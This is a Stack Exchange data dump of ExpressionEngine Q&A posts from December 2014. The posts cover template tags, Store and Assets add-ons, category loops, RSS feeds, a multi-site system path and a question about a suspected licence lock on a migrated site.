  <row Id="26964" PostTypeId="2" ParentId="26943" CreationDate="2014-12-01T11:50:13.653" Score="0" Body="&lt;p&gt;I don't think the Store field type gets it data from the data array that you pass to the channel entries call - I think it always expects to find the data in the $_POST variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure there is something in the field, eg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$channel_entry_data['field_id_209'] = 'store';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then create a $_POST variable with your Store data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$_POST['store_product_data'] = array(&#xA;    'price'=&amp;gt;1,&#xA;    'length'=&amp;gt;NULL,&#xA;    'width'=&amp;gt;NULL,&#xA;    'height'=&amp;gt;NULL,&#xA;    'weight'=&amp;gt;NULL,&#xA;    'handling'=&amp;gt;NULL,&#xA;    'free_shipping'=&amp;gt;1,&#xA;    'stock'=&amp;gt;array(&#xA;        array(&#xA;            'id'=&amp;gt;NULL,&#xA;            'sku'=&amp;gt;NULL,&#xA;            'track_stock'=&amp;gt;NULL,&#xA;            'stock_level'=&amp;gt;NULL,&#xA;            'min_order_qty'=&amp;gt;NULL&#xA;            )&#xA;        )&#xA;    );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="253" LastActivityDate="2014-12-01T11:50:13.653" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26965" PostTypeId="1" CreationDate="2014-12-01T12:01:06.080" Score="0" ViewCount="212" Body="&lt;p&gt;I've looked at a bunch of posts on here but nothing specifically helps with this issue. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Background: I like to offer users rich content choices and have achieved this in the past with a mixture of Matrix and Wygwam, with Assets for images and file downloads, and text areas for embed code. I then build templates and use Template Snippet Select to provide alternate ways of laying out the content page interface (tabs, accordions, page view, etc). Its ok, but with the Blocks module Im hoping to be able to offer this in a much more streamlined way. I'd really like to move to Channel Images because of their in-form image editing and tidy way of organising where images appear in the file manager. So, I contacted Bryan Burgers who built Blocks to ask how CI might integrate - he said it would only work through Wygwam. So, I'm testing a configuration of using Blocks with Wygwam and Channel Images. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;My trouble here is that the Channel Images icon does not appear in the Wygwam CK Editor panel in the publish form, either with or without Blocks. It shows in the config area for Wygwam, but not in the channel field.&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ive made sure all upload file permissions and urls are correct. What is going on?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NB Im working in localhost EE 2.9 with CI 5.4 and Wygwam 3.3 (on PC)&lt;/strong&gt; but am now trying in a EE2.7 remote environment to run a test there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pW8o0.png&quot; alt=&quot;Wygwam not showing Channel Images Icon, with and without Blocks&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1094" LastEditorUserId="7705" LastEditDate="2019-01-04T18:42:07.173" LastActivityDate="2019-01-04T18:42:07.173" Title="Wygwam, Channel Images and Blocks" Tags="|wygwam|channel-images|blocks|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26966" PostTypeId="1" AcceptedAnswerId="26972" CreationDate="2014-12-01T15:09:52.390" Score="0" ViewCount="59" Body="&lt;p&gt;I have the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_1  == 'special-offers'}&#xA;        {exp:channel:entries channel=&quot;products&quot; dynamic=&quot;no&quot; url_title=&quot;{last_segment}&quot;}&#xA;        &amp;lt;link rel=&quot;canonical&quot; href=&quot;{site_url}{categories limit=&quot;1&quot;}{category_url_title}{/categories}/product/{last_segment}&quot; /&amp;gt;&#xA;        {/exp:channel:entries}&#xA;        {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is returning no entries.  If I remove the url_title=&quot;{last_segment}&quot; part, I get all the entries in that channel, which Is not what I want.  Can anybody see why I can't limit the results by the last segment?  Is there another way to do it?&lt;/p&gt;&#xA;" OwnerUserId="984" LastActivityDate="2014-12-01T21:00:05.483" Title="Unable to select entry by last segment" Tags="|segments|ee|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26967" PostTypeId="1" CreationDate="2014-12-01T15:59:43.750" Score="0" ViewCount="82" Body="&lt;p&gt;I used to run a fairly basic Joomla website for a real estate company. Over the years it got way too large for Joomla so they decided to hire a developer to get their own CMS, where the database could be updated offline and the website synched with it. (I'm just a basic self-taught amateur web designer so this is over my head)&#xA;Long story short: they put that CMS, which used elements of ExpressionEngine, on my server but as it grew larger than 10GB I had to upgrade my own hosting package in order for it to keep up. The problem was that as soon as it was moved the database stopped working. The backend seemed fine and the owner of the business could still see all the properties, but on the homepage there was a message saying the licence was not valid for this domain. (&quot;The local license key is invalid for this location. Manage your license.&quot;)&#xA;My suspicion is that this site was developed in not so legit ways as the developer threw a fit that I had moved the site, saying it is a nightmare to configure, etc. My hosting company never believed this and I am also inclined to mistrust said developer, who I think is hiding behind &quot;it's complicated&quot;. The site was offline for 5 days and he's moved it to his own host now, so has full control.&#xA;My knowledge is too limited to be 100% sure about this. This is basically a PHP driven CMS with Ioncube on it. The developer said Ioncube is what was making it hard to migrate to a different server (within same host), but he never answered my question as to why it had Ioncube on it in the first place, and why it was still working fine in the backend.&#xA;Can anyone shed light on this? Would you agree this developer is probably a bit shady or am I being paranoid?&lt;/p&gt;&#xA;" OwnerUserId="3840" LastActivityDate="2014-12-01T19:36:33.500" Title="ExpressionEngine piracy?" Tags="|php|" AnswerCount="1" CommentCount="3" ClosedDate="2014-12-01T21:02:13.627" ContentLicense="CC BY-SA 3.0" />
  <row Id="26968" PostTypeId="2" ParentId="26956" CreationDate="2014-12-01T17:13:54.143" Score="0" Body="&lt;p&gt;This seems to do the job nicely:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$host = $_SERVER['SERVER_NAME'];&#xA;if($host == 'domain1.com') &#xA;{&#xA;    $system_path = './system/';&#xA;&#xA;}&#xA;else&#xA;{&#xA;    $system_path = './site2/system/';&#xA;&#xA;}   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="897" LastActivityDate="2014-12-01T17:13:54.143" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26969" PostTypeId="2" ParentId="26967" CreationDate="2014-12-01T19:36:33.500" Score="2" Body="&lt;p&gt;I don't think that this is EE message - EllisLab just don't control they lic this way (at least no yet).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Possible developer made some custom solution (add-on) which he don't want to share with anybody w/o his own profit. And it is his piracy protection.&lt;/p&gt;&#xA;" OwnerUserId="932" LastActivityDate="2014-12-01T19:36:33.500" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26970" PostTypeId="1" AcceptedAnswerId="27076" CreationDate="2014-12-01T19:51:39.940" Score="0" ViewCount="92" Body="&lt;p&gt;We are currently running EE v2.7.3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Our IT partners have informed us that they will be updating the server this week.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They will also be updating Linux, PHP, httpd, and mysql-server moving up to the following versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Redhat 6.6 &#xA;php-5.3.3-38.el6-x86_64 &#xA;httpd-2.2.15-39.el6-x86_64&#xA;mysql-server-5.1.73-3.el6_5-x86_64&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I saw the system requirements on the website, but they don’t mention which version of Redhat EE is compatible with.  We’ve run into issues before when updating EE so we want to be cautious and aware of any issues we may run into if any.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently our IT folks have updated one of our load balanced servers with newer versions of the redhat, php, mysql.  However, when i try to login to EE Control Panel, I’m getting the installation and update wizard screen.  I'm thinking this is a result of MySQL being updated, but i am not sure. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm hesistant to click the &quot;click here to begin!&quot; button because i don't have direct access to the database (I've got a request in to make a backup of the database).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone let me know what should happen after I click “Click here to begin!” button?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am wondering if this is normal or should i be concerned?&lt;/p&gt;&#xA;" OwnerUserId="1711" LastEditorUserId="1711" LastEditDate="2014-12-01T20:33:56.587" LastActivityDate="2014-12-09T22:02:41.817" Title="Should I run the EE Install &amp; Update Wizard after updating mySQL" Tags="|ee2|mysql|update|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26971" PostTypeId="1" CreationDate="2014-12-01T20:32:42.287" Score="2" ViewCount="341" Body="&lt;p&gt;I am having an issue with Assets sub folders and Expression Engine File Manager.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a folder called photos. In assets i create sub folders more for organisation purposes as having lots of images in the same folder will be hard to maintain at a later date as file count increases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is when moving files into these folders. Files are no longer shown in File Manager. Because of this I am having issues with expresso store download tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have a solution for this? Keeping the files in the photos folder everything is fine even using assets. It is only when organising the files do I have problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3842" LastActivityDate="2023-04-18T17:07:05.820" Title="File Manager and Assets Sub Folders" Tags="|expresso-store|assets|file-manager|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26972" PostTypeId="2" ParentId="26966" CreationDate="2014-12-01T21:00:05.483" Score="3" Body="&lt;p&gt;Check the date on the entry. Perhaps it has accidentally been set to the future at some point and so only just started working now. Just a thought. &lt;/p&gt;&#xA;" OwnerUserId="846" LastActivityDate="2014-12-01T21:00:05.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26973" PostTypeId="2" ParentId="26971" CreationDate="2014-12-01T21:06:38.033" Score="0" Body="&lt;p&gt;The EE File Manager can't see inside subfolders - only the top-level folder. In this respect, Assets and the File Manager don't play well together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see from the &lt;a href=&quot;https://www.exp-resso.com/docs/download_tag.html&quot; rel=&quot;nofollow&quot;&gt;Store docs&lt;/a&gt; that they indeed need the file to be indexed by the File Manager, so there's a feature request to be made to DevDemon there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But maybe an add-on like &lt;a href=&quot;http://devot-ee.com/add-ons/link-vault&quot; rel=&quot;nofollow&quot;&gt;Link Vault&lt;/a&gt; would help here, in place of the Store Download tag?&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-12-01T21:06:38.033" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26975" PostTypeId="1" CreationDate="2014-12-01T23:08:46.677" Score="0" ViewCount="51" Body="&lt;p&gt;I have almost finished a white label version of a photography download&#xA;e-commerce site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have now hit a brick wall. If I keep all of my photos in the root folder&#xA;say 'photos' everything is fine. But introducing sub folders into the mix is a&#xA;no go area. Apparently Expression Engines File Manager&#xA;does not allow sub folder indexing and this is causing a problem with&#xA;Expresso Store download tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there absolutely no way I can get around this problem with the assets&#xA;plugin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see initially files will be fine in one folder. But sooner or later&#xA;this is going to be very difficult to manage and this is where sub folders&#xA;come to the rescue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would really like to know if there is a solution for this?&lt;/p&gt;&#xA;" OwnerUserId="3842" LastActivityDate="2014-12-02T02:14:37.323" Title="Expression Engine, Assets, ExpressoStore" Tags="|expresso-store|assets|" AnswerCount="1" CommentCount="0" ClosedDate="2014-12-02T17:34:49.897" ContentLicense="CC BY-SA 3.0" />
  <row Id="26977" PostTypeId="2" ParentId="26975" CreationDate="2014-12-02T02:14:37.323" Score="1" Body="&lt;p&gt;If you are using the Store Download tag (&lt;code&gt;{exp:store:download}&lt;/code&gt;) you can only use what the default EE File Manager can see/use. So you would not be able to use subfolders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having said that you don't have to use the Store download tags to allow users to download the files after the purchase. You could use a third-party solution such &lt;a href=&quot;http://devot-ee.com/add-ons/link-vault&quot; rel=&quot;nofollow&quot;&gt;Link Vault&lt;/a&gt; to secure your downloads folder and files. Link Vault works with Assets (I believe only if you are using the fieldtype tags &lt;code&gt;{your_assets_field:url}&lt;/code&gt;) so you would be able to have subfolders to help with maintaining your downloads folder. &lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-12-02T02:14:37.323" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26978" PostTypeId="1" CreationDate="2014-12-02T08:04:09.513" Score="0" ViewCount="25" Body="&lt;p&gt;My client wants it to be possible for their members to change 'ownership' of groups in Friends module. Reason, say a member quits, or there is a problem. As far as I can figure out (docs) this is not possible, so we have a problem. I do hope someone has a good idea?&lt;/p&gt;&#xA;" OwnerUserId="1615" LastActivityDate="2014-12-02T08:04:09.513" Title="Is it possible to change th owner of a group? (Solspace Friends module)" Tags="|solspace-tag|solspace-friends|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26980" PostTypeId="2" ParentId="26954" CreationDate="2014-12-02T14:45:54.747" Score="2" Body="&lt;p&gt;I would recommend you try to stop thinking in terms of 'pages', as you'll only end up frustrated by EE. For your purposes, what you are creating are categorised events, not pages. So set up a single channel - &quot;events&quot;, and add an events category group to categorise each one as local or international.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How you list these events on the front end of the site is almost less important than making sure you've tightly defined the content, but there are lots of different ways of doing it. You can then set up a template group called 'events' and pull through the content there, or if you want to override the URL for each event you can use the Pages module to specify a simpler URI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need a short intro section for the listings view(s), you could either hardcode this, or if your client insists on being able to edit it, use Low Variables/global variables. If the intro section is substantial and complex, maybe consider using the Single Entry add-on for a one-off specialised channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Above all, avoid using the Structure module. Web content &lt;em&gt;is not&lt;/em&gt; pages. Web content is displayed &lt;em&gt;on&lt;/em&gt; pages.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2014-12-02T14:45:54.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26981" PostTypeId="1" CreationDate="2014-12-02T14:54:03.187" Score="0" ViewCount="55" Body="&lt;p&gt;I am attempting to build galleries of photos based on {photo_date}, a custom field containing the date on which each photo was taken. My list of photos looks something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Photo#   {photo_date}&#xA;1        11/1/14&#xA;2        11/1/14&#xA;3        11/1/14&#xA;4        11/16/14&#xA;5        11/16/14&#xA;6        11/22/14&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My goal is to have a loop that allows only one photo to appear from each date &quot;group.&quot; This photo will serve as the photo group's cover image. So, after running the script, I will end up with  this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Group 1: Photo#1 (11/1/14)&#xA;Group 2: Photo#4 (11/16/14)&#xA;Group 3: Photo#6 (11/22/14)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am attempting to use a php variable inside of an EE loop to check to see if it matches:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;           &amp;lt;?php $clip = &quot;0&quot;; ?&amp;gt;&#xA;           {exp:channel:entries channel=&quot;event_photos&quot; dynamic=&quot;no&quot; sort=&quot;asc&quot; orderby=&quot;photo_date&quot; search:photo_date=&quot;not IS_EMPTY&quot;}&#xA;            &amp;lt;div class=&quot;clear floatnone&quot;&amp;gt;&#xA;                {if &quot;{photo_event}{photo_event:url_title}{/photo_event}&quot; == &quot;&amp;lt;?php echo $currentSegment; ?&amp;gt;&quot;} &amp;lt;!-- filter only this event's photos --&amp;gt;&#xA;                    Before add: &amp;lt;?php echo $clip; ?&amp;gt;&amp;lt;br /&amp;gt;&#xA;                    {if &quot;{photo_date format='%m/%d/%y'}&quot; != &quot;&amp;lt;?php echo $clip; ?&amp;gt;&quot;}&#xA;                        {title}&amp;lt;br /&amp;gt;&#xA;                        &amp;lt;a href=&quot;{photo}&quot; data-lightbox=&quot;{photo_date format=&quot;%m/%d/%y&quot;}&quot; data-title=&quot;{photo_caption}&quot;&amp;gt;&amp;lt;img width=&quot;150px&quot; src=&quot;{photo}&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;                    {/if}&#xA;                    &amp;lt;?php $clip = &quot;{photo_date format='%m/%d/%y'}&quot;; ?&amp;gt;&#xA;                    After add: &amp;lt;?php echo $clip; ?&amp;gt;&amp;lt;br /&amp;gt;&#xA;                {/if}&#xA;            &amp;lt;/div&amp;gt;&#xA;            {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think this should work, but it doesn't. It seems that the PHP variable ($clip) is getting assigned at the end of the {if} loop, but gets erased at the beginning once the loops starts over. This prevents me from checking to see if the {photo_date} in question has been used or not in the previous iteration. I'm wondering how to get the variable to retain the intended value?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I appreciate any thoughts or maybe a more elegant solution!&lt;/p&gt;&#xA;" OwnerUserId="3795" LastEditorUserId="3795" LastEditDate="2014-12-02T15:05:13.863" LastActivityDate="2016-06-06T14:58:57.547" Title="Sorting pictures with matching dates into galleries" Tags="|php|variable|loop|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26982" PostTypeId="2" ParentId="26981" CreationDate="2014-12-02T15:05:06.577" Score="0" Body="&lt;p&gt;Have you considered just using Channel Images?&lt;/p&gt;&#xA;" OwnerUserId="367" LastActivityDate="2014-12-02T15:05:06.577" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26986" PostTypeId="1" CreationDate="2014-12-02T17:01:42.417" Score="0" ViewCount="34" Body="&lt;p&gt;Does anyone know if I can allow a member to subscribe to categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, for an automotive blog, with categories such as: Motorbike, Cars, Classic Cars, Motorhomes. As a user I would be able to login, choose the categories they were interested in, say Classic Cars and Motorbikes, and then only see posts that belong to that category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically I want members to be able to personalise their feed.&lt;/p&gt;&#xA;" OwnerUserId="3311" LastActivityDate="2015-06-01T18:29:35.767" Title="Let a user 'subscribe' to categories" Tags="|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26987" PostTypeId="1" AcceptedAnswerId="27067" CreationDate="2014-12-02T17:41:44.417" Score="0" ViewCount="584" Body="&lt;p&gt;I'm having a bit of trouble with this, and I can't even describe it very well. Anyways, what I want to do, is list through all the entries I have in a certain channel, just like usual. Except I want to sort it by categories. So on the page, I want category 1 title, then all the entries assigned to category 1, then category 2 title, and all the entries assigned to category 2, etc. Like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;**CATEGORY 1 TITLE**&#xA; _______&#xA;|       | {title}&#xA;| {img} | {description}&#xA;|_______|&#xA; _______&#xA;|       | {title}&#xA;| {img} | {description}&#xA;|_______|&#xA;&#xA;**CATEGORY 2 TITLE**&#xA; _______&#xA;|       | {title}&#xA;| {img} | {description}&#xA;|_______|&#xA;&#xA;**CATEGORY 3 TITLE**&#xA; _______&#xA;|       | {title}&#xA;| {img} | {description}&#xA;|_______|&#xA; _______&#xA;|       | {title}&#xA;| {img} | {description}&#xA;|_______|&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hopefully that makes sense. This is what I've tried,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;mychannel&quot;}&#xA;&#xA;{exp:channel:categories channel=&quot;mychannel&quot; style=&quot;linear&quot;}&#xA;    &amp;lt;h2&amp;gt;{category_name}&amp;lt;/h2&amp;gt;&#xA;&#xA;    &amp;lt;img src=&quot;{img}&quot; alt=&quot;{alt}&quot;&amp;gt;&#xA;    &amp;lt;h3&amp;gt;{title}&amp;lt;/h3&amp;gt;&#xA;    &amp;lt;p&amp;gt;{description}&amp;lt;/p&amp;gt;&#xA;&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;{/exp:channel:entries}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But that doesn't work at all, because for each entry it shows all the category titles, and then under each title displays that entry's info once. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I really hope that was clear enough. Any help would be greatly appreciated. Thank you&lt;/p&gt;&#xA;" OwnerUserId="3607" LastActivityDate="2014-12-09T13:57:56.173" Title="Loop through entries, one category at a time" Tags="|channel-entries|categories|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26989" PostTypeId="2" ParentId="26987" CreationDate="2014-12-02T18:09:00.623" Score="0" Body="&lt;p&gt;So I think I got it. I mostly just needed to swap the nesting of the tags:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories channel=&quot;mychannel&quot; style=&quot;linear&quot;}&#xA;&#xA;{exp:channel:entries channel=&quot;mychannel&quot; category=&quot;{category_id}&quot; limit=&quot;1&quot;}&#xA;    &amp;lt;h2&amp;gt;{category_name}&amp;lt;/h2&amp;gt;&#xA;{/exp:channel:entries}&#xA;&#xA;{exp:channel:entries channel=&quot;mychannel&quot; category=&quot;{category_id}&quot;}&#xA;    &amp;lt;img src=&quot;{img}&quot; alt=&quot;{alt}&quot;&amp;gt;&#xA;&amp;lt;h3&amp;gt;{title}&amp;lt;/h3&amp;gt;&#xA;&amp;lt;p&amp;gt;{description}&amp;lt;/p&amp;gt;&#xA;{/exp:channel:entries}&#xA;&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also had to use the channel:entires tag twice to make sure the heading only appears if there are actually entries. &lt;/p&gt;&#xA;" OwnerUserId="3607" LastActivityDate="2014-12-02T18:09:00.623" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26990" PostTypeId="1" CreationDate="2014-12-02T18:48:59.023" Score="0" ViewCount="62" Body="&lt;p&gt;I'm using the sample Ellis Lab code almost verbatim for my RSS feed. When I set the template type to web page, it outputs correctly. When I change it to RSS, I get an empty feed. Right now it is set to RSS. Ideas? &#xA;&lt;a href=&quot;http://sequentlearning.com/rss&quot; rel=&quot;nofollow&quot;&gt;http://sequentlearning.com/rss&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{preload_replace:master_channel_name=&quot;blog&quot;}&#xA;{exp:rss:feed channel=&quot;{master_channel_name}&quot; status=&quot;open&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;channel&amp;gt;&#xA;&#xA;&amp;lt;title&amp;gt;&amp;lt;![CDATA[{channel_name}]]&amp;gt;&amp;lt;/title&amp;gt;&#xA;&amp;lt;link&amp;gt;{channel_url}&amp;lt;/link&amp;gt;&#xA;&amp;lt;description&amp;gt;{channel_description}&amp;lt;/description&amp;gt;&#xA;&amp;lt;dc:language&amp;gt;{channel_language}&amp;lt;/dc:language&amp;gt;&#xA;&amp;lt;dc:creator&amp;gt;{email}&amp;lt;/dc:creator&amp;gt;&#xA;&amp;lt;dc:rights&amp;gt;Copyright {gmt_date format=&quot;%Y&quot;}&amp;lt;/dc:rights&amp;gt;&#xA;&amp;lt;dc:date&amp;gt;{gmt_date format=&quot;%Y-%m-%dT%H:%i:%s%Q&quot;}&amp;lt;/dc:date&amp;gt;&#xA;&amp;lt;admin:generatorAgent rdf:resource=&quot;http://expressionengine.com/&quot; /&amp;gt;&#xA;&#xA;{exp:channel:entries channel=&quot;{master_channel_name}&quot; limit=&quot;10&quot; disable=&quot;member_data|pagination&quot; dynamic=&quot;no&quot; status=&quot;open&quot;}&#xA;&amp;lt;item&amp;gt;&#xA;  &amp;lt;title&amp;gt;&amp;lt;![CDATA[{title}]]&amp;gt;&amp;lt;/title&amp;gt;&#xA;  &amp;lt;link&amp;gt;{title_permalink='site/index'}&amp;lt;/link&amp;gt;&#xA;  &amp;lt;guid&amp;gt;{title_permalink='site/index'}#When:{gmt_entry_date format=&quot;%H:%i:%sZ&quot;}&amp;lt;/guid&amp;gt;&#xA;  &amp;lt;description&amp;gt;&amp;lt;![CDATA[{summary}{body}]]&amp;gt;&amp;lt;/description&amp;gt;&#xA;  &amp;lt;dc:subject&amp;gt;&amp;lt;![CDATA[{categories backspace=&quot;1&quot;}{category_name}, {/categories}]]&amp;gt;&amp;lt;/dc:subject&amp;gt;&#xA;  &amp;lt;dc:date&amp;gt;{gmt_entry_date format=&quot;%Y-%m-%dT%H:%i:%s%Q&quot;}&amp;lt;/dc:date&amp;gt;&#xA;&amp;lt;/item&amp;gt;&#xA;{/exp:channel:entries}&#xA;&#xA;&amp;lt;/channel&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{/exp:rss:feed}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="225" LastActivityDate="2014-12-08T20:05:19.133" Title="RSS Feed works with template type 'web page&quot;, but not type 'RSS Feed'" Tags="|rss|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26991" PostTypeId="1" CreationDate="2014-12-02T19:34:44.657" Score="0" ViewCount="189" Body="&lt;p&gt;I'm having a really strange problem with an EE if statement being used in conjunction with transcribe (may or may not be related).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a field that lets a user submit a hex colour to change the background colour of a box. By default it's red because of the style called &quot;promoBox_red&quot;. On the english side of the site the entries are all applying the hex colour added in the entry via the IF statement. As soon as I switch to French the default style &quot;promoBox_red&quot; is what takes over. I can't even get the IF statement to run. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts? Completely baffled.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;footer_promos&quot; limit=&quot;3&quot;}&#xA;        &amp;lt;div align=&quot;center&quot; class=&quot;col-xs-4 promoBox_red&quot; {if background_colour_hex_number_6_d !=&quot;&quot;}style=&quot;background-color: #{hex_number};&quot;{if:else}style=&quot;background-color: #ef4034;&quot;{/if}&amp;gt;&#xA;            &amp;lt;img src=&quot;{footer_promo_image}&quot; alt=&quot;{title}&quot; title=&quot;{title}&quot;&amp;gt;&#xA;            &amp;lt;a href=&quot;{footer_promo_link}&quot; class=&quot;btn btn-default btn-sm&quot; role=&quot;button&quot; title=&quot;{title}&quot; style=&quot;margin-top: 20px;&quot;&amp;gt;{exp:transcribe:replace name=&quot;scribe_button_learn_more&quot;}&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="311" LastActivityDate="2017-11-17T09:33:46.370" Title="IF statement not working correctly" Tags="|ee2|transcribe|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26992" PostTypeId="2" ParentId="26981" CreationDate="2014-12-03T01:38:27.400" Score="0" Body="&lt;p&gt;OK - so after reading this a few more times I think I have a clearer sense of what you may be doing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're relating the event photos in one channel to events in another (I'm guessing this based on your [{photo_event}{photo_event:url_title}{/photo_event}] code, I think I'd do it the other way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Start by running a query to select the date in question - use select distinct (or the  :&lt;a href=&quot;https://github.com/rsanchez/activerecord&quot; rel=&quot;nofollow&quot;&gt;activerecord plugin&lt;/a&gt; )&#xA;Then relate that date to your photo and limit the relationship field to one result (try limit=&quot;1&quot;) in the tag. That should give you your dates with an image for each to correspond - with no php in your templates. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also - not sure what/why that $currentSegment is in your code, but maybe check out &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/globals/url_segments.html&quot; rel=&quot;nofollow&quot;&gt;Segment variables&lt;/a&gt; for what you need there?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is off base, then I still don't get what you're trying to do. :)&lt;/p&gt;&#xA;" OwnerUserId="367" LastActivityDate="2014-12-03T01:38:27.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
